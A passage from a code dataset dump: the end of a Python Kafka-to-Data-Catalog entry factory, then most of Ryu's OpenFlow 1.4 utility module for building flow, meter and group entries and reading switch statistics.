bootstrap_servers\n self.__schema_registry_endpoint = schema_registry_endpoint\n self.__entry_group_id = entry_group_id\n\n def make_entries_for_topic(self, topic_metadata):\n entry_id = self._format_id_with_hashing(\n topic_metadata[1][\"name\"].lower(),\n regex_pattern=self.__ENTRY_ID_INVALID_CHARS_REGEX_PATTERN)\n\n entry = datacatalog.Entry()\n\n entry.user_specified_type = 'topic'\n entry.user_specified_system = 'kafka'\n\n entry.display_name = self._format_display_name(\n topic_metadata[1]['name'])\n\n entry.name = datacatalog.DataCatalogClient.entry_path(\n self.__project_id, self.__location_id, self.__entry_group_id,\n entry_id)\n\n entry.linked_resource = \\\n self._format_linked_resource('//{}//{}'.format(\n self.__bootstrap_servers,\n topic_metadata[1]['name']\n ))\n\n return entry_id, entry\n\n def make_entry_for_schema(self, schema, schema_metadata, topic_name):\n entry_id = self.__make_entry_id_for_schema(schema, topic_name,\n schema_metadata)\n\n entry = datacatalog.Entry()\n\n entry.user_specified_type = 'schema'\n entry.user_specified_system = 'kafka'\n\n entry.display_name = self._format_display_name(schema)\n\n entry.name = datacatalog.DataCatalogClient.entry_path(\n self.__project_id, self.__location_id, self.__entry_group_id,\n entry_id)\n description = f'Format: {schema_metadata[\"type\"]}\\n{schema_metadata[\"doc\"] if \"doc\" in schema_metadata else \"\"}'\n if schema_metadata[\"type\"] != 'AVRO':\n description += '\\nFormat not supported'\n\n entry.description = description\n\n fields = []\n if schema_metadata['schema'] and 'fields' in schema_metadata['schema']:\n for field in schema_metadata['schema']['fields']:\n name = field['name']\n type, subcolumns = self.__resolve_field_type(field['type'])\n doc = field['doc'] if 'doc' in field else None\n col = datacatalog.ColumnSchema(\n column=name,\n type=type,\n description=doc,\n subcolumns=subcolumns)\n fields.append(col)\n entry.schema.columns.extend(fields)\n\n return entry_id, entry\n\n def __make_entry_id_for_schema(self, schema, topic_name, schema_metadata):\n # We normalize and hash first the topic_name.\n normalized_topic_name = self._format_id_with_hashing(\n topic_name.lower(),\n regex_pattern=self.__ENTRY_ID_INVALID_CHARS_REGEX_PATTERN)\n\n # Next we do the same for the table name.\n normalized_schema_name = self._format_id_with_hashing(\n schema.lower(),\n regex_pattern=self.__ENTRY_ID_INVALID_CHARS_REGEX_PATTERN)\n\n entry_id = '{}__{}'.format(normalized_topic_name,\n normalized_schema_name)\n\n # Then we hash the combined result again to make sure it\n # does not hit the 64 chars limit.\n return self._format_id_with_hashing(\n entry_id,\n regex_pattern=self.__ENTRY_ID_INVALID_CHARS_REGEX_PATTERN)\n\n @staticmethod\n def __format_entry_field_type(source_name):\n formatted_name = source_name.replace('&', '_')\n formatted_name = formatted_name.replace(':', '_')\n formatted_name = formatted_name.replace('/', '_')\n return formatted_name\n\n def __resolve_field_type(self, field_type):\n type, subcolumns = None, None\n if isinstance(field_type, str):\n type = field_type\n else:\n type = 'COMPLEX_TYPE_NOT_SUPPORTED'\n return type, subcolumns\n","repo_name":"fmsantos-google/datacatalog-connectors-kafka","sub_path":"src/google/datacatalog_connectors/kafka/prepare/datacatalog_entry_factory.py","file_name":"datacatalog_entry_factory.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30750626347","text":"import base64\nimport logging\nimport netaddr\nimport six\n\nfrom ryu.ofproto import ether\nfrom ryu.ofproto import inet\nfrom ryu.ofproto import ofproto_v1_4\nfrom ryu.ofproto import ofproto_v1_4_parser\nfrom ryu.lib import hub\nfrom ryu.lib import ofctl_utils\n\nLOG = logging.getLogger(__name__)\n\nDEFAULT_TIMEOUT = 1.0\n\nUTIL = ofctl_utils.OFCtlUtil(ofproto_v1_4)\n\n\ndef to_action(dp, dic):\n ofp = dp.ofproto\n parser = dp.ofproto_parser\n\n action_type = dic.get('type')\n\n if action_type == 'OUTPUT':\n out_port = UTIL.ofp_port_from_user(dic.get('port', ofp.OFPP_ANY))\n max_len = UTIL.ofp_cml_from_user(dic.get('max_len', ofp.OFPCML_MAX))\n action = parser.OFPActionOutput(out_port, max_len)\n elif action_type == 'COPY_TTL_OUT':\n action = parser.OFPActionCopyTtlOut()\n elif action_type == 'COPY_TTL_IN':\n action = parser.OFPActionCopyTtlIn()\n elif action_type == 'SET_MPLS_TTL':\n mpls_ttl = int(dic.get('mpls_ttl'))\n action = parser.OFPActionSetMplsTtl(mpls_ttl)\n elif action_type == 'DEC_MPLS_TTL':\n action = parser.OFPActionDecMplsTtl()\n elif action_type == 'PUSH_VLAN':\n ethertype = int(dic.get('ethertype'))\n action = parser.OFPActionPushVlan(ethertype)\n elif action_type == 'POP_VLAN':\n action = parser.OFPActionPopVlan()\n elif action_type == 'PUSH_MPLS':\n ethertype = int(dic.get('ethertype'))\n action = parser.OFPActionPushMpls(ethertype)\n elif action_type == 'POP_MPLS':\n ethertype = int(dic.get('ethertype'))\n action = parser.OFPActionPopMpls(ethertype)\n elif action_type == 'SET_QUEUE':\n queue_id = UTIL.ofp_queue_from_user(dic.get('queue_id'))\n action = parser.OFPActionSetQueue(queue_id)\n elif action_type == 'GROUP':\n group_id = UTIL.ofp_group_from_user(dic.get('group_id'))\n action = parser.OFPActionGroup(group_id)\n elif action_type == 'SET_NW_TTL':\n nw_ttl = int(dic.get('nw_ttl'))\n action = parser.OFPActionSetNwTtl(nw_ttl)\n elif action_type == 'DEC_NW_TTL':\n action = parser.OFPActionDecNwTtl()\n elif action_type == 'SET_FIELD':\n field = dic.get('field')\n value = dic.get('value')\n action = parser.OFPActionSetField(**{field: value})\n elif action_type == 'PUSH_PBB':\n ethertype = int(dic.get('ethertype'))\n action = parser.OFPActionPushPbb(ethertype)\n elif action_type == 'POP_PBB':\n action = parser.OFPActionPopPbb()\n elif action_type == 'EXPERIMENTER':\n experimenter = int(dic.get('experimenter'))\n data_type = dic.get('data_type', 'ascii')\n if data_type != 'ascii' and data_type != 'base64':\n LOG.error('Unknown data type: %s', data_type)\n data = dic.get('data', '')\n if data_type == 'base64':\n data = base64.b64decode(data)\n action = parser.OFPActionExperimenterUnknown(experimenter, data)\n else:\n action = None\n\n return action\n\n\ndef _get_actions(dp, dics):\n actions = []\n for d in dics:\n action = to_action(dp, d)\n if action is not None:\n actions.append(action)\n else:\n LOG.error('Unknown action type: %s', d)\n return actions\n\n\ndef to_instructions(dp, insts):\n instructions = []\n ofp = dp.ofproto\n parser = dp.ofproto_parser\n\n for i in insts:\n inst_type = i.get('type')\n if inst_type in ['APPLY_ACTIONS', 'WRITE_ACTIONS']:\n dics = i.get('actions', [])\n actions = _get_actions(dp, dics)\n if actions:\n if inst_type == 'APPLY_ACTIONS':\n instructions.append(\n parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS,\n actions))\n else:\n instructions.append(\n parser.OFPInstructionActions(ofp.OFPIT_WRITE_ACTIONS,\n actions))\n elif inst_type == 'CLEAR_ACTIONS':\n instructions.append(\n parser.OFPInstructionActions(ofp.OFPIT_CLEAR_ACTIONS, []))\n elif inst_type == 'GOTO_TABLE':\n table_id = int(i.get('table_id'))\n instructions.append(parser.OFPInstructionGotoTable(table_id))\n elif inst_type == 'WRITE_METADATA':\n metadata = ofctl_utils.str_to_int(i.get('metadata'))\n metadata_mask = (ofctl_utils.str_to_int(i['metadata_mask'])\n if 'metadata_mask' in i\n else parser.UINT64_MAX)\n instructions.append(\n parser.OFPInstructionWriteMetadata(\n metadata, metadata_mask))\n elif inst_type == 'METER':\n meter_id = int(i.get('meter_id'))\n instructions.append(parser.OFPInstructionMeter(meter_id))\n else:\n LOG.error('Unknown instruction type: %s', inst_type)\n\n return instructions\n\n\ndef action_to_str(act):\n s = act.to_jsondict()[act.__class__.__name__]\n t = UTIL.ofp_action_type_to_user(s['type'])\n s['type'] = t if t != s['type'] else 'UNKNOWN'\n\n if 'field' in s:\n field = s.pop('field')\n s['field'] = field['OXMTlv']['field']\n s['mask'] = field['OXMTlv']['mask']\n s['value'] = field['OXMTlv']['value']\n\n return s\n\n\ndef _remove(d, names):\n f = lambda x: _remove(x, names)\n if isinstance(d, list):\n return list(map(f, d))\n if isinstance(d, dict):\n d2 = {}\n for k, v in d.items():\n if k in names:\n continue\n d2[k] = f(v)\n return d2\n return d\n\n\ndef instructions_to_str(instructions):\n\n s = []\n\n for i in instructions:\n v = i.to_jsondict()[i.__class__.__name__]\n t = UTIL.ofp_instruction_type_to_user(v['type'])\n inst_type = t if t != v['type'] else 'UNKNOWN'\n # apply/write/clear-action instruction\n if isinstance(i, ofproto_v1_4_parser.OFPInstructionActions):\n acts = []\n for a in i.actions:\n acts.append(action_to_str(a))\n v['type'] = inst_type\n v['actions'] = acts\n s.append(v)\n # others\n else:\n v['type'] = inst_type\n s.append(v)\n\n return s\n\n\ndef to_match(dp, attrs):\n convert = {'in_port': UTIL.ofp_port_from_user,\n 'in_phy_port': int,\n 'metadata': to_match_masked_int,\n 'eth_dst': to_match_eth,\n 'eth_src': to_match_eth,\n 'eth_type': int,\n 'vlan_vid': to_match_vid,\n 'vlan_pcp': int,\n 'ip_dscp': int,\n 'ip_ecn': int,\n 'ip_proto': int,\n 'ipv4_src': to_match_ip,\n 'ipv4_dst': to_match_ip,\n 'tcp_src': int,\n 'tcp_dst': int,\n 'udp_src': int,\n 'udp_dst': int,\n 'sctp_src': int,\n 'sctp_dst': int,\n 'icmpv4_type': int,\n 'icmpv4_code': int,\n 'arp_op': int,\n 'arp_spa': to_match_ip,\n 'arp_tpa': to_match_ip,\n 'arp_sha': to_match_eth,\n 'arp_tha': to_match_eth,\n 'ipv6_src': to_match_ip,\n 'ipv6_dst': to_match_ip,\n 'ipv6_flabel': int,\n 'icmpv6_type': int,\n 'icmpv6_code': int,\n 'ipv6_nd_target': to_match_ip,\n 'ipv6_nd_sll': to_match_eth,\n 'ipv6_nd_tll': to_match_eth,\n 'mpls_label': int,\n 'mpls_tc': int,\n 'mpls_bos': int,\n 'pbb_isid': to_match_masked_int,\n 'tunnel_id': to_match_masked_int,\n 'ipv6_exthdr': to_match_masked_int}\n\n if attrs.get('eth_type') == ether.ETH_TYPE_ARP:\n if 'ipv4_src' in attrs and 'arp_spa' not in attrs:\n attrs['arp_spa'] = attrs['ipv4_src']\n del attrs['ipv4_src']\n if 'ipv4_dst' in attrs and 'arp_tpa' not in attrs:\n attrs['arp_tpa'] = attrs['ipv4_dst']\n del attrs['ipv4_dst']\n\n kwargs = {}\n for key, value in attrs.items():\n if key in convert:\n value = convert[key](value)\n kwargs[key] = value\n else:\n LOG.error('Unknown match field: %s', key)\n\n return dp.ofproto_parser.OFPMatch(**kwargs)\n\n\ndef to_match_eth(value):\n if '/' in value:\n value = value.split('/')\n return value[0], value[1]\n else:\n return value\n\n\ndef to_match_ip(value):\n if '/' in value:\n (ip_addr, ip_mask) = value.split('/')\n if ip_mask.isdigit():\n ip = netaddr.ip.IPNetwork(value)\n ip_addr = str(ip.ip)\n ip_mask = str(ip.netmask)\n return ip_addr, ip_mask\n else:\n return value\n\n\ndef to_match_vid(value):\n # NOTE: If \"vlan_id\" field is described as decimal int value\n # (and decimal string value), it is treated as values of\n # VLAN tag, and OFPVID_PRESENT(0x1000) bit is automatically\n # applied. OTOH, If it is described as hexadecimal string,\n # treated as values of oxm_value (including OFPVID_PRESENT\n # bit), and OFPVID_PRESENT bit is NOT automatically applied.\n if isinstance(value, six.integer_types):\n # described as decimal int value\n return value | ofproto_v1_4.OFPVID_PRESENT\n else:\n if '/' in value:\n val = value.split('/')\n return int(val[0], 0), int(val[1], 0)\n else:\n if value.isdigit():\n # described as decimal string value\n return int(value, 10) | ofproto_v1_4.OFPVID_PRESENT\n else:\n return int(value, 0)\n\n\ndef to_match_masked_int(value):\n if isinstance(value, str) and '/' in value:\n value = value.split('/')\n return (ofctl_utils.str_to_int(value[0]),\n ofctl_utils.str_to_int(value[1]))\n else:\n return ofctl_utils.str_to_int(value)\n\n\ndef match_to_str(ofmatch):\n match = {}\n\n ofmatch = ofmatch.to_jsondict()['OFPMatch']\n ofmatch = ofmatch['oxm_fields']\n\n for match_field in ofmatch:\n key = match_field['OXMTlv']['field']\n mask = match_field['OXMTlv']['mask']\n value = match_field['OXMTlv']['value']\n if key == 'vlan_vid':\n value = match_vid_to_str(value, mask)\n elif key == 'in_port':\n value = UTIL.ofp_port_to_user(value)\n else:\n if mask is not None:\n value = str(value) + '/' + str(mask)\n match.setdefault(key, value)\n\n return match\n\n\ndef match_vid_to_str(value, mask):\n if mask is not None:\n value = '0x%04x/0x%04x' % (value, mask)\n else:\n if value & ofproto_v1_4.OFPVID_PRESENT:\n value = str(value & ~ofproto_v1_4.OFPVID_PRESENT)\n else:\n value = '0x%04x' % value\n return value\n\n\ndef send_stats_request(dp, stats, waiters, msgs):\n dp.set_xid(stats)\n waiters_per_dp = waiters.setdefault(dp.id, {})\n lock = hub.Event()\n previous_msg_len = len(msgs)\n waiters_per_dp[stats.xid] = (lock, msgs)\n dp.send_msg(stats)\n\n lock.wait(timeout=DEFAULT_TIMEOUT)\n current_msg_len = len(msgs)\n\n while current_msg_len > previous_msg_len:\n previous_msg_len = current_msg_len\n lock.wait(timeout=DEFAULT_TIMEOUT)\n current_msg_len = len(msgs)\n\n if not lock.is_set():\n del waiters_per_dp[stats.xid]\n\n\ndef get_desc_stats(dp, waiters):\n stats = dp.ofproto_parser.OFPDescStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n s = {}\n\n for msg in msgs:\n stats = msg.body\n s = stats.to_jsondict()[stats.__class__.__name__]\n desc = {str(dp.id): s}\n return desc\n\n\ndef get_queue_stats(dp, waiters):\n ofp = dp.ofproto\n stats = dp.ofproto_parser.OFPQueueStatsRequest(dp, 0, ofp.OFPP_ANY,\n ofp.OFPQ_ALL)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n desc = []\n for msg in msgs:\n stats = msg.body\n for stat in stats:\n s = stat.to_jsondict()[stat.__class__.__name__]\n properties = []\n for prop in stat.properties:\n p = prop.to_jsondict()[prop.__class__.__name__]\n t = UTIL.ofp_queue_stats_prop_type_to_user(prop.type)\n p['type'] = t if t != p['type'] else 'UNKNOWN'\n properties.append(p)\n s['properties'] = properties\n desc.append(s)\n desc = {str(dp.id): desc}\n return desc\n\n\ndef get_queue_desc_stats(dp, waiters, port_no=None, queue_id=None):\n ofp = dp.ofproto\n port_no = port_no if port_no else ofp.OFPP_ANY\n queue_id = queue_id if queue_id else ofp.OFPQ_ALL\n\n stats = dp.ofproto_parser.OFPQueueDescStatsRequest(\n dp, 0, port_no, queue_id)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n configs = []\n for config in msgs:\n queue_list = []\n for queue in config.body:\n q = queue.to_jsondict()[queue.__class__.__name__]\n prop_list = []\n for prop in queue.properties:\n p = prop.to_jsondict()[prop.__class__.__name__]\n t = UTIL.ofp_queue_desc_prop_type_to_user(prop.type)\n p['type'] = t if t != prop.type else 'UNKNOWN'\n prop_list.append(p)\n q['properties'] = prop_list\n queue_list.append(q)\n c = {'body': queue_list}\n configs.append(c)\n configs = {str(dp.id): configs}\n\n return configs\n\n\ndef get_flow_stats(dp, waiters, flow=None):\n flow = flow if flow else {}\n table_id = UTIL.ofp_table_from_user(\n flow.get('table_id', dp.ofproto.OFPTT_ALL))\n flags = int(flow.get('flags', 0))\n out_port = UTIL.ofp_port_from_user(\n flow.get('out_port', dp.ofproto.OFPP_ANY))\n out_group = UTIL.ofp_group_from_user(\n flow.get('out_group', dp.ofproto.OFPG_ANY))\n cookie = int(flow.get('cookie', 0))\n cookie_mask = int(flow.get('cookie_mask', 0))\n match = to_match(dp, flow.get('match', {}))\n\n stats = dp.ofproto_parser.OFPFlowStatsRequest(\n dp, flags, table_id, out_port, out_group, cookie, cookie_mask,\n match)\n\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n flows = []\n for msg in msgs:\n for stats in msg.body:\n s = stats.to_jsondict()[stats.__class__.__name__]\n s['instructions'] = instructions_to_str(stats.instructions)\n s['match'] = match_to_str(stats.match)\n flows.append(s)\n flows = {str(dp.id): flows}\n\n return flows\n\n\ndef get_aggregate_flow_stats(dp, waiters, flow=None):\n flow = flow if flow else {}\n table_id = UTIL.ofp_table_from_user(\n flow.get('table_id', dp.ofproto.OFPTT_ALL))\n flags = int(flow.get('flags', 0))\n out_port = UTIL.ofp_port_from_user(\n flow.get('out_port', dp.ofproto.OFPP_ANY))\n out_group = UTIL.ofp_group_from_user(\n flow.get('out_group', dp.ofproto.OFPG_ANY))\n cookie = int(flow.get('cookie', 0))\n cookie_mask = int(flow.get('cookie_mask', 0))\n match = to_match(dp, flow.get('match', {}))\n\n stats = dp.ofproto_parser.OFPAggregateStatsRequest(\n dp, flags, table_id, out_port, out_group, cookie, cookie_mask,\n match)\n\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n flows = []\n for msg in msgs:\n stats = msg.body\n s = stats.to_jsondict()[stats.__class__.__name__]\n flows.append(s)\n flows = {str(dp.id): flows}\n\n return flows\n\n\ndef get_table_stats(dp, waiters):\n stats = dp.ofproto_parser.OFPTableStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n tables = []\n for msg in msgs:\n stats = msg.body\n for stat in stats:\n s = stat.to_jsondict()[stat.__class__.__name__]\n tables.append(s)\n desc = {str(dp.id): tables}\n\n return desc\n\n\ndef get_table_features(dp, waiters):\n stats = dp.ofproto_parser.OFPTableFeaturesStatsRequest(dp, 0, [])\n msgs = []\n ofproto = dp.ofproto\n send_stats_request(dp, stats, waiters, msgs)\n\n p_type_instructions = [ofproto.OFPTFPT_INSTRUCTIONS,\n ofproto.OFPTFPT_INSTRUCTIONS_MISS]\n\n p_type_next_tables = [ofproto.OFPTFPT_NEXT_TABLES,\n ofproto.OFPTFPT_NEXT_TABLES_MISS]\n\n p_type_actions = [ofproto.OFPTFPT_WRITE_ACTIONS,\n ofproto.OFPTFPT_WRITE_ACTIONS_MISS,\n ofproto.OFPTFPT_APPLY_ACTIONS,\n ofproto.OFPTFPT_APPLY_ACTIONS_MISS]\n\n p_type_oxms = [ofproto.OFPTFPT_MATCH,\n ofproto.OFPTFPT_WILDCARDS,\n ofproto.OFPTFPT_WRITE_SETFIELD,\n ofproto.OFPTFPT_WRITE_SETFIELD_MISS,\n ofproto.OFPTFPT_APPLY_SETFIELD,\n ofproto.OFPTFPT_APPLY_SETFIELD_MISS]\n\n p_type_experimenter = [ofproto.OFPTFPT_EXPERIMENTER,\n ofproto.OFPTFPT_EXPERIMENTER_MISS]\n\n tables = []\n for msg in msgs:\n stats = msg.body\n for stat in stats:\n s = stat.to_jsondict()[stat.__class__.__name__]\n properties = []\n for prop in stat.properties:\n p = {}\n t = UTIL.ofp_table_feature_prop_type_to_user(prop.type)\n p['type'] = t if t != prop.type else 'UNKNOWN'\n if prop.type in p_type_instructions:\n instruction_ids = []\n for id in prop.instruction_ids:\n i = {'len': id.len,\n 'type': id.type}\n instruction_ids.append(i)\n p['instruction_ids'] = instruction_ids\n elif prop.type in p_type_next_tables:\n table_ids = []\n for id in prop.table_ids:\n table_ids.append(id)\n p['table_ids'] = table_ids\n elif prop.type in p_type_actions:\n action_ids = []\n for id in prop.action_ids:\n i = id.to_jsondict()[id.__class__.__name__]\n action_ids.append(i)\n p['action_ids'] = action_ids\n elif prop.type in p_type_oxms:\n oxm_ids = []\n for id in prop.oxm_ids:\n i = id.to_jsondict()[id.__class__.__name__]\n oxm_ids.append(i)\n p['oxm_ids'] = oxm_ids\n elif prop.type in p_type_experimenter:\n pass\n properties.append(p)\n s['name'] = stat.name.decode('utf-8')\n s['properties'] = properties\n tables.append(s)\n desc = {str(dp.id): tables}\n\n return desc\n\n\ndef get_port_stats(dp, waiters):\n stats = dp.ofproto_parser.OFPPortStatsRequest(\n dp, 0, dp.ofproto.OFPP_ANY)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n ports = []\n for msg in msgs:\n for stats in msg.body:\n s = stats.to_jsondict()[stats.__class__.__name__]\n properties = []\n for prop in stats.properties:\n p = prop.to_jsondict()[prop.__class__.__name__]\n t = UTIL.ofp_port_stats_prop_type_to_user(prop.type)\n p['type'] = t if t != prop.type else 'UNKNOWN'\n properties.append(p)\n s['properties'] = properties\n ports.append(s)\n ports = {str(dp.id): ports}\n return ports\n\n\ndef get_meter_stats(dp, waiters):\n stats = dp.ofproto_parser.OFPMeterStatsRequest(\n dp, 0, dp.ofproto.OFPM_ALL)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n meters = []\n for msg in msgs:\n for stats in msg.body:\n s = stats.to_jsondict()[stats.__class__.__name__]\n bands = []\n for band in stats.band_stats:\n b = band.to_jsondict()[band.__class__.__name__]\n bands.append(b)\n s['band_stats'] = bands\n meters.append(s)\n meters = {str(dp.id): meters}\n return meters\n\n\ndef get_meter_features(dp, waiters):\n ofp = dp.ofproto\n type_convert = {ofp.OFPMBT_DROP: 'DROP',\n ofp.OFPMBT_DSCP_REMARK: 'DSCP_REMARK'}\n\n capa_convert = {ofp.OFPMF_KBPS: 'KBPS',\n ofp.OFPMF_PKTPS: 'PKTPS',\n ofp.OFPMF_BURST: 'BURST',\n ofp.OFPMF_STATS: 'STATS'}\n\n stats = dp.ofproto_parser.OFPMeterFeaturesStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n features = []\n for msg in msgs:\n for feature in msg.body:\n band_types = []\n for k, v in type_convert.items():\n if (1 << k) & feature.band_types:\n band_types.append(v)\n capabilities = []\n for k, v in sorted(capa_convert.items()):\n if k & feature.capabilities:\n capabilities.append(v)\n f = {'max_meter': feature.max_meter,\n 'band_types': band_types,\n 'capabilities': capabilities,\n 'max_bands': feature.max_bands,\n 'max_color': feature.max_color}\n features.append(f)\n features = {str(dp.id): features}\n return features\n\n\ndef get_meter_config(dp, waiters):\n flags = {dp.ofproto.OFPMF_KBPS: 'KBPS',\n dp.ofproto.OFPMF_PKTPS: 'PKTPS',\n dp.ofproto.OFPMF_BURST: 'BURST',\n dp.ofproto.OFPMF_STATS: 'STATS'}\n\n stats = dp.ofproto_parser.OFPMeterConfigStatsRequest(\n dp, 0, dp.ofproto.OFPM_ALL)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n configs = []\n for msg in msgs:\n for config in msg.body:\n c = config.to_jsondict()[config.__class__.__name__]\n bands = []\n for band in config.bands:\n b = band.to_jsondict()[band.__class__.__name__]\n t = UTIL.ofp_meter_band_type_to_user(band.type)\n b['type'] = t if t != band.type else 'UNKNOWN'\n bands.append(b)\n c_flags = []\n for k, v in sorted(flags.items()):\n if k & config.flags:\n c_flags.append(v)\n c['flags'] = c_flags\n c['bands'] = bands\n configs.append(c)\n configs = {str(dp.id): configs}\n return configs\n\n\ndef get_group_stats(dp, waiters):\n stats = dp.ofproto_parser.OFPGroupStatsRequest(\n dp, 0, dp.ofproto.OFPG_ALL)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n groups = []\n for msg in msgs:\n for stats in msg.body:\n g = stats.to_jsondict()[stats.__class__.__name__]\n bucket_stats = []\n for bucket_stat in stats.bucket_stats:\n c = bucket_stat.to_jsondict()[bucket_stat.__class__.__name__]\n bucket_stats.append(c)\n g['bucket_stats'] = bucket_stats\n groups.append(g)\n groups = {str(dp.id): groups}\n return groups\n\n\ndef get_group_features(dp, waiters):\n\n ofp = dp.ofproto\n type_convert = {ofp.OFPGT_ALL: 'ALL',\n ofp.OFPGT_SELECT: 'SELECT',\n ofp.OFPGT_INDIRECT: 'INDIRECT',\n ofp.OFPGT_FF: 'FF'}\n cap_convert = {ofp.OFPGFC_SELECT_WEIGHT: 'SELECT_WEIGHT',\n ofp.OFPGFC_SELECT_LIVENESS: 'SELECT_LIVENESS',\n ofp.OFPGFC_CHAINING: 'CHAINING',\n ofp.OFPGFC_CHAINING_CHECKS: 'CHAINING_CHECKS'}\n act_convert = {ofp.OFPAT_OUTPUT: 'OUTPUT',\n ofp.OFPAT_COPY_TTL_OUT: 'COPY_TTL_OUT',\n ofp.OFPAT_COPY_TTL_IN: 'COPY_TTL_IN',\n ofp.OFPAT_SET_MPLS_TTL: 'SET_MPLS_TTL',\n ofp.OFPAT_DEC_MPLS_TTL: 'DEC_MPLS_TTL',\n ofp.OFPAT_PUSH_VLAN: 'PUSH_VLAN',\n ofp.OFPAT_POP_VLAN: 'POP_VLAN',\n ofp.OFPAT_PUSH_MPLS: 'PUSH_MPLS',\n ofp.OFPAT_POP_MPLS: 'POP_MPLS',\n ofp.OFPAT_SET_QUEUE: 'SET_QUEUE',\n ofp.OFPAT_GROUP: 'GROUP',\n ofp.OFPAT_SET_NW_TTL: 'SET_NW_TTL',\n ofp.OFPAT_DEC_NW_TTL: 'DEC_NW_TTL',\n ofp.OFPAT_SET_FIELD: 'SET_FIELD',\n ofp.OFPAT_PUSH_PBB: 'PUSH_PBB',\n ofp.OFPAT_POP_PBB: 'POP_PBB',\n ofp.OFPAT_EXPERIMENTER: 'EXPERIMENTER',\n }\n\n stats = dp.ofproto_parser.OFPGroupFeaturesStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n features = []\n for msg in msgs:\n feature = msg.body\n types = []\n for k, v in type_convert.items():\n if (1 << k) & feature.types:\n types.append(v)\n capabilities = []\n for k, v in cap_convert.items():\n if k & feature.capabilities:\n capabilities.append(v)\n max_groups = []\n for k, v in type_convert.items():\n max_groups.append({v: feature.max_groups[k]})\n actions = []\n for k1, v1 in type_convert.items():\n acts = []\n for k2, v2 in act_convert.items():\n if (1 << k2) & feature.actions[k1]:\n acts.append(v2)\n actions.append({v1: acts})\n f = {'types': types,\n 'capabilities': capabilities,\n 'max_groups': max_groups,\n 'actions': actions}\n features.append(f)\n features = {str(dp.id): features}\n return features\n\n\ndef get_group_desc(dp, waiters):\n stats = dp.ofproto_parser.OFPGroupDescStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n descs = []\n for msg in msgs:\n for stats in msg.body:\n d = stats.to_jsondict()[stats.__class__.__name__]\n buckets = []\n for bucket in stats.buckets:\n b = bucket.to_jsondict()[bucket.__class__.__name__]\n actions = []\n for action in bucket.actions:\n actions.append(action_to_str(action))\n b['actions'] = actions\n buckets.append(b)\n t = UTIL.ofp_group_type_to_user(stats.type)\n d['type'] = t if t != stats.type else 'UNKNOWN'\n d['buckets'] = buckets\n descs.append(d)\n descs = {str(dp.id): descs}\n return descs\n\n\ndef get_port_desc(dp, waiters):\n stats = dp.ofproto_parser.OFPPortDescStatsRequest(dp, 0)\n msgs = []\n send_stats_request(dp, stats, waiters, msgs)\n\n descs = []\n\n for msg in msgs:\n stats = msg.body\n for stat in stats:\n d = stat.to_jsondict()[stat.__class__.__name__]\n properties = []\n for prop in stat.properties:\n p = prop.to_jsondict()[prop.__class__.__name__]\n t = UTIL.ofp_port_desc_prop_type_to_user(prop.type)\n p['type'] = t if t != prop.type else 'UNKNOWN'\n properties.append(p)\n d['name'] = stat.name.decode('utf-8')\n d['properties'] = properties\n descs.append(d)\n descs = {str(dp.id): descs}\n return descs\n\n\ndef mod_flow_entry(dp, flow, cmd):\n cookie = int(flow.get('cookie', 0))\n cookie_mask = int(flow.get('cookie_mask', 0))\n table_id = UTIL.ofp_table_from_user(flow.get('table_id', 0))\n idle_timeout = int(flow.get('idle_timeout', 0))\n hard_timeout = int(flow.get('hard_timeout', 0))\n priority = int(flow.get('priority', 0))\n buffer_id = UTIL.ofp_buffer_from_user(\n flow.get('buffer_id', dp.ofproto.OFP_NO_BUFFER))\n out_port = UTIL.ofp_port_from_user(\n flow.get('out_port', dp.ofproto.OFPP_ANY))\n out_group = UTIL.ofp_group_from_user(\n flow.get('out_group', dp.ofproto.OFPG_ANY))\n importance = int(flow.get('importance', 0))\n flags = int(flow.get('flags', 0))\n match = to_match(dp, flow.get('match', {}))\n inst = to_instructions(dp, flow.get('instructions', []))\n\n flow_mod = dp.ofproto_parser.OFPFlowMod(\n dp, cookie, cookie_mask, table_id, cmd, idle_timeout,\n hard_timeout, priority, buffer_id, out_port, out_group,\n importance, flags, match, inst)\n\n dp.send_msg(flow_mod)\n\n\ndef mod_meter_entry(dp, meter, cmd):\n flags = 0\n if 'flags' in meter:\n meter_flags = meter['flags']\n if not isinstance(meter_flags, list):\n meter_flags = [meter_flags]\n for flag in meter_flags:\n t = UTIL.ofp_meter_flags_from_user(flag)\n f = t if t != flag else None\n if f is None:\n LOG.error('Unknown meter flag: %s', flag)\n continue\n flags |= f\n\n meter_id = UTIL.ofp_meter_from_user(meter.get('meter_id', 0))\n\n bands = []\n for band in meter.get('bands', []):\n band_type = band.get('type')\n rate = int(band.get('rate', 0))\n burst_size = int(band.get('burst_size', 0))\n if band_type == 'DROP':\n b = dp.ofproto_parser.OFPMeterBandDrop(rate, burst_size)\n elif band_type == 'DSCP_REMARK':\n prec_level = int(band.get('prec_level', 0))\n b = dp.ofproto_parser.OFPMeterBandDscpRemark(\n rate, burst_size, prec_level)\n elif band_type == 'EXPERIMENTER':\n experimenter = int(band.get('experimenter', 0))\n b = dp.ofproto_parser.OFPMeterBandExperimenter(\n rate, burst_size, experimenter)\n else:\n LOG.error('Unknown band type: %s', band_type)\n continue\n bands.append(b)\n\n meter_mod = dp.ofproto_parser.OFPMeterMod(\n dp, cmd, flags, meter_id, bands)\n\n dp.send_msg(meter_mod)\n\n\ndef mod_group_entry(dp, group, cmd):\n group_type = str(group.get('type'))\n t = UTIL.ofp_group_type_from_user(group_type)\n group_type = t if t != group_type else None\n if group_type is None:\n LOG.error('Unknown group type: %s', group.get('type'))\n\n group_id 